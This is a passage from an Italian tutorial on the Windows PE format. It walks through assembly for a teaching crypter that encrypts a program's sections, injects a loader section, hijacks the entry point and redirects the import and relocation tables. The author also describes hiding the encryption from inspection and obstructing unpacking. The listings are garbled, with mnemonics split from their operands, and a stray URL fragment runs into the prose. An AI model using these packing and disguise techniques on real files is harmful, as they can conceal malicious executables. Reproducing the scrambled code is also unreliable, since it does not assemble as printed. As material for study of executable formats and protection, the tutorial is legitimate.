la piu' importante, in quanto raccoglie molte delle informazioni vitali che verranno utilizzate dal loader per recuperare i dati dalle sezioni e quindi creare il process in memoria. Anche in questo caso analizzeremo le piu' importanti in quanto come vi ho gia' anticipato gli altri campi non appaiono essere consistenti da linker a linker o tra versioni diverse di questi, o addirittura ignorati (rientrano in questa categoria anche i vari SizeOfCode,SizeOfInitializedData,SizeOfUnitializedData): * AddressOfEntryPoint: questo campo contine l'RVA dell'entrypoint del modulo, cioe' il punto in cui il loader trasferira' l'esecuzione una volta terminata la fase di caricamento/ inizializzaione: inevitabilmente punta all'interno di una sezione che possiede i flag readable/executable (solitamente .text, CODE) * BaseOfCode: indica l'RVA della prima sezione di codice (.text, CODE) ed utilizzata presumibilmene dal loader nella fase di mapping per settare gli attributi di pagina * BaseOfData: idem come sopra ma per la prima sezione dati * ImageBase: questo campo e' di vitale importanza in quanto riporta la cosidetta "preferred imagebase" ovvero l'indirizzo lineare nello spazio di indirizzamento privato utilizzato dal linker per risolvere gran parte dei fixup nonche' la base a cui si riferiscono tutti gli RVA: questo significa che se il loader di windowz deve mappare l'immagine ad un indirizzo diverso sara' necessario applicare le base relocations (parlero piu' in dettaglio delle implicazini della imagebase nella sezione RVA e base rilocations). * SectionAlignment: quando il loader di window mappa in memoria il file immagine utilizza i MMF in modo che occupi uno blocco consecutivo di memoria nello spazio di indirizzamento.Tuttavia per questioni di ottimizzazione nella gestione della memoria virtuale (ad exp. nello share di porzioni di codice, nel caricamento di pagine non presenti,ecc.) in w9x ogni sezione deve essere allineata ad un multiplo della unita' minima gestita dal VMM : 1 pagina x86 = 4096 = 1000h (attenzione a non confonderla con la granularita' di allocazione che e' di 64k). Questa limitazione non si applica a NT (il minimo e' 32byte) ma non credo che vogliate degli eseguibili "incompatibili". * FileAlignment: questo campo e' un antico retaggio di quando windowz95 utilizzava il filesystem FAT, e per ottimizzare i caricamenti si era pensato di allineare i dati delle sezioni su disco ad un multiplo della grandezza di un settore (200h = 512 b). Nel caso sia necessario i linkers zero-paddano (azz che espessione :) lo spazio non utilizzato. * SizeOfImage: ecco un esempio di come i membri della famiglia Win32 non comunichino molto!:) questo campo riporta la grandezza del l'immagine una volta in memoria e quindi lo spazio totale che il loader deve riservare per il suo caricamento. E' costituita dalla somma dell'header + le VirtualSize delle sezioni presenti ed arrotondata al multiplo piu' vicino della SectionAlignment. Quest'ultimo fatto e' stato fonte di problemi per molti coders che avevano testato le loro creature solo con win95 dato che questo ignora l'allineamento continuando pacificamente mentre NT si inkazza non poko se non trova un valore consistente. Mi raccomando non fate inkazzare NT ;) * SizeOfHeaders: il valore qui riportato altro non e' che la somma delle imensioni dei vari headers che precedono i dati delle sections (DosHeader+Stub+NtHeaders,SectionHeaders): in sostanza e' una sorta di puntatore ai rawdata dato che ImageBase+SizeOfHeaders vi porta direttamente all'inizio della prima sezione, sia che stiate lavorando con l'immagine di un processo in memoria,o su disco/MMF. * CheckSum: altro esempio di differente comportamento fra 9x/Nt: questo valore rappresenta un checksum dell'immagine del file PE, concepita per evitare che il loader carichi un eseguibile corrotto e/o inconsistente, solo che questa verifica e' effettivamente compiuta solo dal loader di NT e esclusivamente per file di sistema. Win9x ignora totalmente questo campo tant'e' che i linker normalmente lasciano a 0 questo campo. Nel caso vogliate modificare un PE che sapete essere di utilizzato da Nt a livello di sistema (ad exp. un service, una dll, ecc.) e' auspicabile che aggorniate correttamente il campo. L'algoritmo di calcolo e' ofcoz propietario M$ ma cmq e' possibile utilizzare la funzione CheckSumMappedFile esportata dalla ImgHlp.dll ormai molto in voga sui sistemi M$;) * NumberOfRvaAndSizes: questo campo indica la dimensione dell'array di strutture IMAGE_DATA_DIRECTORY che inizia dal campo DataDirectory. Attualmente e' fissato a 16 elementi ma non necessariamente per sempre ;) * DataDirectory: questo pseudocampo in realta e' un array di strutture che rappresentano per il loader una sorta di shortcut per accedere velocemente alle informazioni piu' sensibili per la creazione/inizializzazione del processo: ogni entry (indici da 0..15) riporta l'RVA e la VirtualSize di specifiche informazioni/strutture: le piu' importati sono: 0 : funzioni esportate dal modulo (ET) 1 : funzioni importate ma non bounded (IT) 2 : inizio della resource directory (resROOT) 5 : base relocations 9 : blocco thread local storage (TLS) 11: funzioni importate bound (BIT) 12: import addresse table (IAT) Una cosa importante da dire e' che il loader fa sempre riferimento a questa tabella per accedere ai dati del processo e non alla tabella dei section headers. Se volete ad exp. reperire le informazioni su dove reperire le risorse (ad exp. per evitare di criptarle) non utilizzate i nomi delle section tipo .rsrc visto che questi sono _puramente_ convenzionali: nessuno ci garantisce cosa ci sia dentro o che qualcuno li abbia rinominati (molti crypters lo fanno). Detto questo va da se che i dati qui presenti devono essere ASSOLUTAMENTE coerenti o il programma si piantera'inesorabilmente. Di seguito al OptionalHeader inzia l'array di strutture IMAGE_SECTION_HEADER noto come sections table: ogni elemento di questo array descrive i dati essenziali di una sezione presente nel file di cui come al solito analizziamo i piu' importanti: * SName: stringa di 8 byte con il nome della sezione (attenzione che non e' null termined) * SVirtualSize: convenzionalmente contiene la dimensione fisica (vedi SizeOfRawData) dei dati arrotondata ad un multiplo del section aligment. Questo campo in pratica dovrebbe dire al loader quanto spazio riservare in memoria per questa sezione. Notate che ho usato il condizionale perche' il loader sembra perfettamente ignorare questo campo in presenza di una rawsize "valida" ed effetuare da se i calcoli per una VSize corretta. Questo probabilmente spiega anche il fatto che la ImageSize venga ignorata da w9x. Cmq e' anche perfettamente lecito avere una rawsize = 0 e una VSize=0x1000, tant'e' che i packer sfruttano proprio questa caratteristica cambiando la rawsize ma lasciando inalterata la VSize (a dir il vero la VSize puo' anche sovrapporsi alla sezione successiva dato che e' cmq uno spazio solo "riservato" e non necessariamente utilizzato) purche' ovviamente non ci sia vera sovrascrizione :) Morale: il loader di win32 e' meno fesso del previsto, e scieglie con oculatezza (in pratica e' probabile faccia max(VSize,RawSize) quali informazioni siano piu' coerenti o se le calcola da se. Prendete esempio :)) * SVirtualAddress: tada'ecco un altro RVA :) .. questo permette di calcolare la posizione che avra' la sezione una volta caricata in memoria dal loader. Come ormai avrete capito deve essere maggiore, o un multiplo, del section alignment (che lo ricordiano non puo' essere minore di 0x1000 per compatibilita' con 9x) * SizeOfRawData: la dimensione fisicamente occupata dai dati su disco solitamente allineata al file alignment. Questo campo puo' essere totalmente indipendente dalla VSize ad exp. spesso incontrerete sezioni con rawsize = 0 ma che occupano spazio in memoria (tipicamente sezioni con dati non inizializzati (BSS, TLS, ecc.), ma cmq e'importante capire che almeno uno dei due valori dovra' contenere l'informazione dello spazio da minimo da riservare in memoria. Tenete conto di questa anomalia quando calcolate la ImageSize. * PointerToRawData: l'offset "fisico" a cui troverete i dati della sezione * SFlags: i flag che identificano le caratterestiche (codice,dati,ecc.) e quindi le i flags e le protezioni di pagina che verranno applicate (writable,readable,ecc.) Bene abbiamo analizzato gli headers che precedono i dati veri e propri delle sezioni..resta solo da notare che in effetti tra la fine dell'ultimo section header e l'inizio dei dati spesso si trova una "cavita'" ovvero un blocco non utilizzato ma presente per questioni di allineamento. Queste cavita' presenti anche tra le sezioni possono essere sfruttate per salvare codice e/o dati a patto che siano abbastanza grandi (i virus sono un classico esempio di utilizzatori di queste cavita'). Fra tutte queste cavita' quella che piu' ci interessa (miii che squallidi doppi sensi ;)) e' proprio quella fra la sections table e l'inizio della prima sezione, in quanto e' li che possiamo introdurre una nuova sezione seplicemente incrementando il campo FileHeader. NumberOfSection e accodando una struttura IMAGE_SECTION_HEADER all'array.. ovviamente questo discorso e' valido se c'e' abbastanza spazio (attenzione che per spazio va inteso quella tra la fine degli NTHeaders e l'RVA della prima sezione e non solo lo spazio "fisico", che normalmente e' minore per via che di solito file alignment < section alignment) alrimenti dobbiamo "necessariamente" appendere il nostro codice/dati nell'ultima sezione del file (oddio non e'proprio necessario che sia l'ultima, potremmo sciegliere una sezione qualsiasi, ma sicuramente e' molto piu' semplice che alterare gli RVA di tutte quelle sucessive). Ok, ora dovremmo trattare le strutture collegate alla IT,(la ET la trattero' nel terzo tutorial), rilocazione e alle risorse ma credo che sia meglio che le vediate all'opera quando commentero' il codice del crypter. Prima di tuffarci nel codice sara' pero' il caso che parliamo dei concetti di ImageBase e RVA che come avrete constatato permeano tutta la struttura del PE. #ImageBase e Relative Virtual Address# L'image base e' sostanzialmente l'indirizzo lineare a cui il loader mappera' l'immagine dell'eseguibile quando crea un nuovo processo, o carica un modulo (DLL). Questo indirizzo, riportato nel campo OptionalHeader.ImageBase, e' _specifico_ per ogni eseguibile ed e' essenzialmente l'indirizzo utilizzato (o specificato da noi) dal linker per risolvere i fixup. Tuttavia non sempre il loader puo' caricare l'immagine alla ImageBase specificata (detta appunto "preferred"): questa eventualita' (chiamata "collisione"), e' sostanzialmente impossibile per gli eseguibili (ovviamente se consideriamo il fatto che ogni processo win32 ha un suo spazio di indirizzamento "assolutamnete" privato.. per gli exe vedrete infatti sempre specificata come imagebase 0x400000) ma e' altamente probabile per una DLL che invece puo' essere caricata nello arena condivisa ( > 2gb e < 3gb in 9x; Nt non ha spazi r3 shared) o cmq in un'area gia' impegnata da una precedente allocazione di memoria. Se si verifica una collisione il loader per permettere all'esegubile di funzioanare sara' costretto ad applicare la c.d. base relocation, a patchare cioe' tutti qui riferimenti assoluti che il programma utilizza in modo che siano di nuovo coerenti. Considerati questi problemi si e' pensato di "virtualizzare" gli indirizzi assoluti almeno delle strutture utilizzate dal loader rendendo cosi' possibile referenziare le informazioni salvate dal linker a prescindere dalla imagebase: ecco quindi nascere l'idea dell'RVA, che e' appunto un scostamento relativo alla imagebase: quindi se volete leggere il valore di una DWORD che sta ad un RVA = 1234 basta che gli sommiate l'imagebase ed otterrete il suo Virtual Address (VA) cioe' l'indirizzo nello spazio di indirizzamento del processo: VA = RVA + ImageBase 0x401234 = 0x1234 + 0x400000 Ovviamente questo ragionamento e' valido se l'eseguibile e' stato mappato dal loader, perche' come sappiamo questo terra' conto del section alignment... ma se volessimo ottenere un offset "fisico" (su disco,MMF) dato un VA ? in questo caso dovremmo utilizzare le informazioni relative alla sezione che contiene quell'indirizzo (ovviamente dobbiamo trovarla cercando nella section table verificando che SVirtualAddress <= VA <= SVirtualAddress + SVirtualSize), relativizzare l'indirizzo rispetto all'inizio di quella sezione sottraendo l'imagebase e VA della sezione, ottenendo cosi' un offset che andremo a sommare all'offset fisico della sezione stessa: RAW OFS = (VA - ImageBase - SVirtualAddress) + PointerToRawData 0x834 = (0x401234 - 0x400000 - 0x1000 ) + 0x600 Bene questo e' tutto per i concetti di base: ora passiamo al codice vero e proprio. --==[ UN ESEMPIO PRATICO ]==------------------------------------------------------------------I sorgenti che vi presento sono un esempio di semplice scheletro di crypter che supporta sia l'append che l'inserimento di una nuova sezione. Il crypter e' capace di gestire sia sezi oni codice, dati (esclusa .rdata), relocations info,import table, e risorse. Quello che ancora non fa e' gestire tutta la casistica presente nei formati PE diciamo "non convenzionali" (come al solito mamma M$ in testa!) , e cioe' forwarding , pre-binding old-style e new-style, deferred dll, o la gestione del TLS. Altra mancanza di rilievo (voluta visto che l'ho fatto in poko tempo e che sono sorgenti didattici.. ehhe non posso mika svelarvi tutto del crypter che sto facendo :)) e l'assenza di forme di anti-dump, anti-debug o anti-disasm. Ad ogni buon conto e' sufficientemente completo per iniziare a capire il funzionamento del PE. Ovviamente non vi riporto qui tutti i sorgenti (fate riferimento a pesentry.asm) ma solo alcuni passaggi diciamo piu' cruciali ed alcune scelte d'implementazione. open_file: mov call cmp jz [lpszFileName],edi OpenFileEx eax, INVALID_HANDLE_VALUE @@file_error ; open file with attribes ovveride prima considerazione : la funzione OpenFileEx apre il file assicurandosi pero' di salvare gli attributi del file nonche' data,ora di creazione,ecc.. mi sembra un modo + pulito di operare :) add eax,loader_len+(2000h) ; loader size + typical file align * 2 call or jz CreateFileMapping,[hFile],NULL,PAGE_READWRITE,0,eax,NULL eax,eax @@unable_to_map mov [hFileMap],eax call or jz MapViewOfFile,eax,FILE_MAP_WRITE,0,0,0 eax,eax @@unable_to_map mov mov [Image_Base],eax edi,eax ; map entire file come vedete ho scelto di utilizzare i MMF per manipolare l'eseguibile, la ragione e' che in questo modo posso gestire gli offset direttamente come scostamenti in memoria essendo sicuro di avere il file mappato in modo lineare. Questo metodo di procedere e' in sostanza lo stesso che utilizza il loader.. va notato pero' che i MMF hanno una loro piccola pecca, non possono essere ridimensionati una volta creati.. cio' ci costringe a prevedere un blocco abbastanza grande da contenere anche il nostro loader: sara' sufficente che sommiamo alla dimensione del file la size del codice/dati nostro loader + 2 pagine. Se prevedete di realizzare un packer o cmq di manipolare pesantemente il PE , vi consiglio (vero xOA ? :) di usare buffers allocati con VirtualAlloc che sono modificabili senza denneggiare i dati gia' caricati (VirtualReAlloc). Il puntatore ottenuto dalla MapViewOfFile costituisce ora la nostra ImageBase. Una piccola nota: come vedete i commenti nei sorgenti sono in inglese.. ehhe ragazzi sorry ma sono abituato cosi'.. l'inglese e' piu' conciso per certe cose :) call or jnz GetNtHeader eax,eax @@invalid_pe mov [lpPEHeader],edi ; on exit EDI = lpPEHeader questa call esegue un check per verificare che effetivamente abbiamo a che fare con un file pe eseguibile e nel caso affermativo torna il ptr al NTHeaders: GetNtHeader: push mov push push push mov cmp jnz mov add cmp jb mov not or jz or jz @@is_PE:xor jmp @@on_PE_except: mov mov @@not_PE: stc sbb ebp ebp,esp ebp ; save safe ESP offset @@on_PE_except ; our simple handler dword ptr fs:[0] ; save previous frame fs:[0],esp ; establish our SEH frame word ptr [edi],IMAGE_DOS_SIGNATURE ; check MZ signature short @@not_PE eax,[edi.e_lfanew] edi,eax dword ptr [edi],IMAGE_NT_SIGNATURE ; check PE signature short @@not_PE eax,dword ptr [edi.FileHeader.ImgFlags] al al,IMAGE_FILE_EXECUTABLE_IMAGE ; check for executable flag short @@is_PE ax,IMAGE_FILE_DLL short @@not_PE eax,eax short @@valid_pe eax,[esp+8] ebp,[eax+8] eax,eax ; get ERR structure ; ERR + 8 = safe ESP @@valid_pe: pop mov pop ret dword ptr fs:[0] esp,ebp ebp ; remove SEH frame come vedete verifico le due signature e la presenza dei flag caratteristici degli eseguibili.. l'unica cosa degna di nota oltre a questo e' la presenza di un exception frame.. un modo decisamente piu' rapito che una serie di call a IsBadxxxxxPtr,ecc. per verificare i puntatori. da qui in poi EDI sara' il puntatore agli NTHeaders header movzx eax, [edi.FileHeader.SizeOfOptionalHeader] ; size of optional lea mov eax,[edi+eax+18h] [lpSectionTable],eax qui otteniamo il puntatore all'inizio della Section table, che ci servira' per leggere le info di ogni section e per aggiungere il nostro loader creando una sezione nuova o espandendo l'ultima mov eax,[edi.OptionalHeader.ImageBase] mov eax,400000h mov [preferred_base],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).VirtualAddress] mov [it_rva],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_EXPORT).VirtualAddress] mov [et_rva],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).VirtualAddress] mov [reloc_rva],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_TLS).VirtualAddress] mov [tls_rva],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RESOURCE).VirtualAddress] mov [rsrc_rva],eax qui salviamo in variabili statiche allocate nel loader gli RVA delle principali directories che poi ci serviranno sia per modificare gli RVA in modo che puntino alle nostre stutture sia al loader per riaggiuistare le cose a runtime. (nota il mov 0x400000 e' li' nel caso vogliate sperimentare con la rilocazione.. in questo caso dovrete cambiare l'imagebase del file da procdump in modo da forzare il load ad un altro linear address. Fatto questo si passa a cryptare le varie sezioni: encrypt_objects: movzx edx,[edi.FileHeader.NumberOfSections] ; number of section as counter xor ebx,ebx @@next_obj: call or jz mov jmp IsEncryptableObj ; check if section is encryptable eax,eax short @@proceed dword ptr [crypt_flag],20202020h ; display status = skipped short @@no_encrypt come counter per il loop utilizziamo il numero di sezioni riportate nel l'optional header: questo potrebbe essere una potenziale fonte di problemi visto che come ho detto il loader non si fila molto questo valore. per cui in un file potrebbe essere maliziosamente (si' perche' non vedo quale cacchio di linker si metterebbe a giocare con questo campo!??) incoerente. So far so good.. continuiamo.. la call IsEncryptableObj verifica che la sezione che stiamo per elaborare sia effetivamente criptabile: ad exp. la sezione .rdata e' una una di quelle che ci conviene evitare visto che e' spesso utilizzata da M$ (mortacci a loro!) per inserirci la export, la TLS,ecc. altra sezione da cui star lontano e' .edata che dovrebbe contenere esplicitamente la export table.. come criterio di verifica ho adottato un check "euristico" basato sugli rva presenti nella DataDirectory, sulle rawsize delle sezioni, tranne che per .rdata che e' verificata in base al nome :( Ora qui si pone un interessante problema: ma se ad exp. la export table fosse contenuta nella sezione .text (altra porkeria assolutamente possibile ma abbastanza remota per fortuna) il crypter skipperebbe tutta la sezione.. risposta positiva !.. per ovviare al problema bisogna identificare dove risiedono i blocchi non cryptabili in termini di RVA e quindi costruirsi una mappa di quello che si deve effettivamente cryptare (puo' bastare un array RVA + SIZE) che poi verra' usata sia dalla routine di encryption che dal loader. Ovviamente in questo sorgente non e' implementato questo meccanismo (te pareva ;)) perche' avrebbe complicato il codice che e' gia lungo di per se'.. @@proceed: mov mov table mov mov eax,[esi.SVirtualAddress] [section_array.section_rva+ebx*8], eax ; save rva to loader ecx,[esi.SizeOfRawData] [section_array.section_vsize+ebx*8], ecx ; save raw size ok.. se siamo qui vuol dire che la sezione e' criptabile.. salviamo gli RVA e le dimensioni delle sezioni cryptate in una tabella in modo che il loader sappia cosa abbiamo criptato... quindi usiamo SizeOfRawData come grandezza del blocco da crittare pusha ; save lpPEHeader mov edi,[esi.PointerToRawData] ; calc pointer to raw data add edi,[Image_Base] cmp eax,[rsrc_rva] jz short @@handle_res call Encrypt jmp short @@dummy_e @@handle_res: mov eax,offset ResEncryptCallBack call EnumResources @@dummy_e: popa counter inc inc ebx byte ptr [sections_num] ; update loader table index ; update loader section mov dword ptr [crypt_flag],53455920h ; display status = processed ok.. questo codice mi pare autoesplicativo.. innanzitutto calcola il ptr ai dati in memoria quindi verifica che quella che stiamo elaborando non sia la sezione delle risorse.. in caso affermativo switcha alla routine di attraversamento dell'albero delle risorse (la spieghero' piu' avanti..) quindi incrementa il contatore delle sezioni effetivamente criptate che poi il loader usera'a runtime.. @@no_encrypt: call or add dec jnz ret show_stats [esi.SFlags],IMAGE_SCN_MEM_WRITE esi,IMAGE_SECTION_HEADER_ edx short @@next_obj ; display some stats ; enable write bit always ; next section in table questa parte invece merita qualche commento perche' immagino qualcuno si stia domandando perche' setto il flag writable per tutte le sezioni e non solo per quelle criptate.. la ragione e' semplice: la base rilocation! gia'.. sicomme saremo noi a gestirla al posto del loader dobbiamo assicurarci che ogni sezione sia scrivibile alrimenti a runtime dovremmo usare WriteProcessMemory per superare le protezioni di pagina ed applicare i fixup.. per inciso questo e' uno dei classici indicatori per sapere se un file e' cryptato con un crypter che gestiste anche la .reloc movzx eax,[edi.FileHeader.NumberOfSections] inc eax mov ecx,IMAGE_SECTION_HEADER_ sizeOf(section_header) ; number of sections ; +1 ; * mul add mov mov add cmp jg ecx eax,[lpSectionTable] esi,eax edx,edi edx,[edi.OptionalHeader.SizeOfHeaders] eax,edx @@append_to_last ; ; offset of object table ; + lpPEHeader ; + SizeOfHeaders ecco qui un'altra porkeria ;) : questo blocco verifica nel modo piu' semplice se c'e' abbastanza spazio tra la fine della section table e l'inizio delle raw section in caso positivo il crypter creara' una nuova section. Se invece non dovesse essereci spazio optera' per l'append. Ora vediamo in breve in meccanismo di aggiunta di una section: sub mov inc esi,IMAGE_SECTION_HEADER_ [lpLoaderSection],esi7 [edi.FileHeader.NumberOfSections] ; add our section ok.. otteniamo in ESI un puntatore allo spazio non utilizzato che segue l'ultima section; e quindi incrementiamo il numero di sezioni nell'header mov mov cmp jle xchg @dummy_sz: add call mov mov eax,[(esi-IMAGE_SECTION_HEADER_).SVirtualSize] ebx,[(esi-IMAGE_SECTION_HEADER_).SizeOfRawData] ebx,eax @dummy_sz eax,ebx eax,[(esi-IMAGE_SECTION_HEADER_).SVirtualAddress] SectionAlign [ldr_obj_VA],eax [loader_rva],eax ora dobbiamo calcolare l'RVA della nostra nuova sezione in memoria, come vedete il codice utilizza la maggiore quantita' fra la VSize e SizeOfRawData allineata al section alignment e la somma al VA dell'ultima sezione; il fatto di utilizzara max(VSize,RawSize) e' quello che io chiamo safe programming.. come dire meglio prevenire che curare ;) xchg mov dword ptr [edi.OptionalHeader.AddressOfEntryPoint],eax [original_erva],eax calcolato l'RVA della nostra sezione abbiamo anche l'RVA del nuovo entrypoint, dato che si presuppone che l'inizio del vostro codice coincida con l'inizio dei dati nella nuova sezione (in caso contrario dovrete solo sommarci lo scostamento), quindi lo scriviamo nell'header assicurandoci pero' di salvare il vecchio entrypoint che servira' poi al loader per restituire il controllo al programma una volta decrittato mov call mov mov call mov eax,loader_len SectionAlign [ldr_obj_VS],eax eax,loader_len FileAlign [ldr_obj_RWS],eax quindi calcoliamo la nuova VSize e RawSize mov mov add xor mov div or aligned ? mov jz add xor @@zpad: mov ebx,[(esi-IMAGE_SECTION_HEADER_).PointerToRawData] eax,[(esi-IMAGE_SECTION_HEADER_).SizeOfRawData] ebx,eax edx,edx ecx,[edi.OptionalHeader.FileAlignment] ecx edx,edx ; previus section already file eax,ebx short @@no_zpad ebx,[Image_Base] cl,cl byte ptr [ebx],cl ; no cave inc dec jnz @@no_zpad: call mov ebx edx @@zpad FileAlign [ldr_obj_RWA], eax ; file align loader section questo snippet non fa altro che calcolare l'offset in cui dobbiamo scrivere i nostri dati ovvero dalla fine dei dati precedenti accertandosi pero' che quest'ultimo offset sia allineato al file alignment e proveddendo allo zeropad nel caso non lo fosse.. mov add call mov eax,[ldr_obj_VS] eax,[edi.OptionalHeader.SizeOfImage] SectionAlign [edi.OptionalHeader.SizeOfImage],eax ora aggiustiamo l'imagesize aggiungendo la vsize della nostra sezione, cosi' NT non si inkazzera' con noi call call built-in one RedirectReloc RedirectIT ; redirect reloc table to our ; redirect IT to loader eheh questo invece e' un simpatico giochetto che va spiegato: con queste due call sostituiamo nella data directory gli RVA della import table e della reloc table in modo che puntino a quelle hardcoded che abbiamo approntato nel codice del nostro loader. Questa operazione ha diversi vantaggi: 1) siccome la nostra reloc table e' vuota diciamo al loader di winsoz di non applicare alcuna relocation in caso ci sia una collisione altrimenti sarebbe una catastrofe in fase di decrittazione 2) impostando la nuova import table, facciamo in modo che sia windows stesso a patcharci la nostra IAT e a fornirci gli address delle API di cui necessitiamo evitandoci di ricorre a metodi piu' o meno euristici (usati in molti virii) come quello di trovare il base address di kernel32 (che come noto puo' cambiare con ogni nuova versione ed e' differente in 9x e Nt) quindi scannare la export table manualmente per ricavare gli address degli entrypoint di GetProcAddress, LoadLibraryA/W, GetModuleHandleA. 3) in questo modo abbiamo anche alterato l'NT Header e questo ci garantisce che un eventuale cracker che si accinga ad unpakkare la nostra creatura dovra' anche ripristinare correttamente gli RVA nella data entry se vorra' che il programma funzioni Siccome so che siete attenti,avrete notato che non ho ridiretto l'RVA della sezione risorse: eheh in effeti questo e' abbastanza semplice come sistema, e' sufficente harcodare una resource directory nel nostro loader con lo stesso metodo che abbiamo usato per la IT. In questo modo potremmo ad esempio avere la possibilita' di visualizzare delle dialog, dei bmp, o al limite sostituire l'icona del programma con la nostra. Per far in modo poi che il programma "ritrovi" le sue risorse sara' sufficiente che reimpostiamo l'RVA originale nell'header (attenzione che dovrete usare WriteProtectMemory per patchare runtime se non volete un bel gpf). Ma allora perche'non ho messo il codice per questa features.. semplice.. lo spieghero' nel terzo tutorial quando affronteremo le tecniche antidump.. per ora accontentatevi!.. ho gia' scritto un mezzo romanzo! ;))) mov xchg mov rep mov mov add jmp edi,offset loader_obj edi,esi ecx, IMAGE_SECTION_HEADER_ movsb edi,[ldr_obj_RWA] ebx,[Image_Base] edi,ebx @@write_loader ; edi = offset to loader section bene ora abbiamo impostato corretamente i dati della sezione non ci resta che copiarla in coda all'array della sections table, et voila'.. quello che segue invece e' codice per appendere il nostro loader nell'ultima sezione. In genere questo metodo e' da preferirsi a quello precedente della nuova sezione, perche' vi permette di "cammuffare" il fatto che il programma sia criptato, dato che con un hexeditor o un pe-browser tutto sembrera' normale ad occhi non esperti. Per ragioni di spazio (e crampi alle dita ;)) saro' succinto nei commenti anche perche' non c'e' molto da dire se avete letto con attenzione la parte precente: mov mov lea mov xchg mov ebx,[esi.SVirtualAddress] eax,[esi.SizeOfRawData] ebx,[eax+ebx+4] ; calculate new entrypoint rva [loader_rva],ebx dword ptr [edi.OptionalHeader.AddressOfEntryPoint],ebx [original_erva],ebx l'RVA del nuovo entrypoint e' sostanzialmente uguale a (RVA sezione precedente + RawSize sezione precedente + 4) dove il +4 si spiega con il fatto che ci garantiamo che ci sia una DWORD nulla tra noi e la fine dei dati originali, questo perche' con ogni probabilita' quella che modificheremo sara' la .reloc e quindi dobbiamo mantenere un spazio vuoto che funga da terminatore per i dati per la relocation add call mov add last_obj.VS mov eax,loader_len SectionAlign [esi.SVirtualSize],eax eax,[esi.SVirtualAddress] ; imagesize = last_obj.VA + [edi.OptionalHeader.SizeOfImage],eax classico direi: aggiustiamo la imagesize come somma dell'RVA dell'ultima sezione e la nuova VSize ottenuta dall'allineamento della RawSize al section alignment mov and or mov eax,[esi.SFlags] eax,IMAGE_SCN_MEM_NOT_DISCARDABLE eax,IMAGE_SCN_MEM_EXECUTE + \ IMAGE_SCN_MEM_READ + \ IMAGE_SCN_MEM_WRITE [esi.SFlags],eax forziamo i flags writable, readable, executable per essere sicuri di non aver problemi mov lea call mov ebp,[esi.SizeOfRawData] eax,[ebp+loader_len+4] FileAlign [esi.SizeOfRawData],eax allineamo la rawsize al file alignment rawdata reloc) mov add mov add xor stosd edi,[esi.PointerToRawData] edi,ebp ebx,[Image_Base] edi,ebx eax,eax ; calc offset to the end of ; last dword = 0 (mark end of forziamo a zero quel pad di 4byte di cui sopra e quindi ora siamo pronti a copiare il nostro loader.. Again, non riporto il codice che copia il nostro loader perche' e' semplicissimo, l'unica nota e' che ho previsto che zeropaddi l'eventuale cavita' che si crea alla fine del file per via dell'allineamento. Finita la copia del loader il crypter usa UnmapViewOfFile, CloseHandle per rilasciare il MMF e chiama SetFilePointer e SetEndOfFile per troncare la dimensione del file a quella effetivamente necessaria (= ESI calcolato prendendo l'offset finale in uscita dal blocco di copia allineato al file alignment). That's All. Ora invece discuteremo di alcune delle piu' importanti funzioni utilizzate dal crypter RedirectIT: mov eax,[loader_rva] ; rva of decryptor add eax,it_start-ldr_start ; add delta mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).VirtualAddress],eax mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).Size], it_len add dword ptr k32_original,eax ; kernel32 add dword ptr k32_dll,eax ; add dword ptr k32_first,eax ; xor edx,edx @@adj_k32iat: add [func_k32+edx*4],eax add [apiGetProcAddress+edx*4],eax inc edx cmp edx,size_k32_iat jnz short @@adj_k32iat add dword ptr u32_original,eax ; user32 add dword ptr u32_dll,eax ; add dword ptr u32_first,eax ; xor edx,edx @@adj_u32iat: add [func_u32+edx*4],eax add [apiGetProcAddress+edx*4],eax inc edx cmp edx,size_u32_iat jnz short @@adj_u32iat ret questa funzione in sostanza riaggiusta gli RVA interni alla IT in modo che siano coerenti con la posizione (quindi ancora RVA) in cui sara' mappato il nostro codice. Per comprendere il perche' di queste correzioni bisogna che analizziamo la struttura della IT. La import table come sapete permette al loader di reperire le informazioni relative alle funzioni importate da moduli esterni in modo implicito. Per far questo esso percorre una serie di strutture nella IT che contengono il nome o l'ordinal (= ID che identifica univocamente la funzione e relativo alla sua posizione nell'array AddressOfFunctions della ET) delle funzioni importate ordinate per modulo di appartenenza.. quindi mappa il modulo nello spazio di indirizzamento del processo (LoadLibrary), scanna l'ET del modulo (GetProcAddress) per trovare l'address dell'entrypoint della funzione e quindi patcha la IAT con quest'ultimo. Ora mi aspetto una vostra domanda del tipo: "ma cos'e' la IAT" ? Immaginate la Import Address Table come un array di DWORD che contiene gli indirizzi delle funzioni delle DLL che il programma utilizza. L'esistenza della IAT e' dovuta al fatto che sia il compilatore, sia il linker non possono conoscere a priopri l'address a cui verra' caricata la dll e quindi per consetire al programmatore di utilizzare nel suo codice ad exp. MessageBoxA devono approntare un meccanismo di indirezione: una chiamata da un linguaggio ad alto livello a MessageBoxA verra' tradotta dal compilatore e dal linkere (attraverso una import lib) in una call ad un thunk (normalmente in fondo alla sezione con il codice .text,CODE",ecc).class" tppabs="http://utenti.tripod.it/inversa/tutes/%2Cecc%29.class" che si prensenta cosi': JMP DWORD PTR [0x12345678] dove 0x12345678 e' proprio l'indirizzo della DWORD presente nella IAT che a runtime conterra' l'entrypoint di MessageBoxA. Alternativamente nei compilatori piu' recenti e' possibile usare il modificatore __declspec(dllimport) per specificare che il simbolo esterno e' proprio una funzione esportata da una dll: questo permette al compilatore di eliminare il thunk e di tradurre la chiamata in una piu' performante CALL DWORD PTR [0x12345678] Come vedete la IAT e' di vitale importanza e come logicamente si puo' intuire non facilmente ridirezionabile tant'e' che sebbene noi modificiamo l'header in modo che punti alla nostra IAT, l'RVA in cui andremo a patchare gli indirizzi restera' quello originale (quest'ultimo punto e' di vitale importanza per comprendere come sia possibile per un cracker intercettare la IAT originale). Torniamo alla IT: questa inizia con un array di strutture IMAGE_IMPORT_DESCRIPTOR: * OriginalFirstThunk: e' un RVA ad un array di strutture IMAGE_THUNK_DATA che contengono le informazioni per ogni funzione importata da questo modulo. La fine dell'array e' segnalato da un elemento IMAGE_THUNK_DATA nullo. Questo array a differenza di quello a cui punta FirstThunk non e' patchato dal Loader 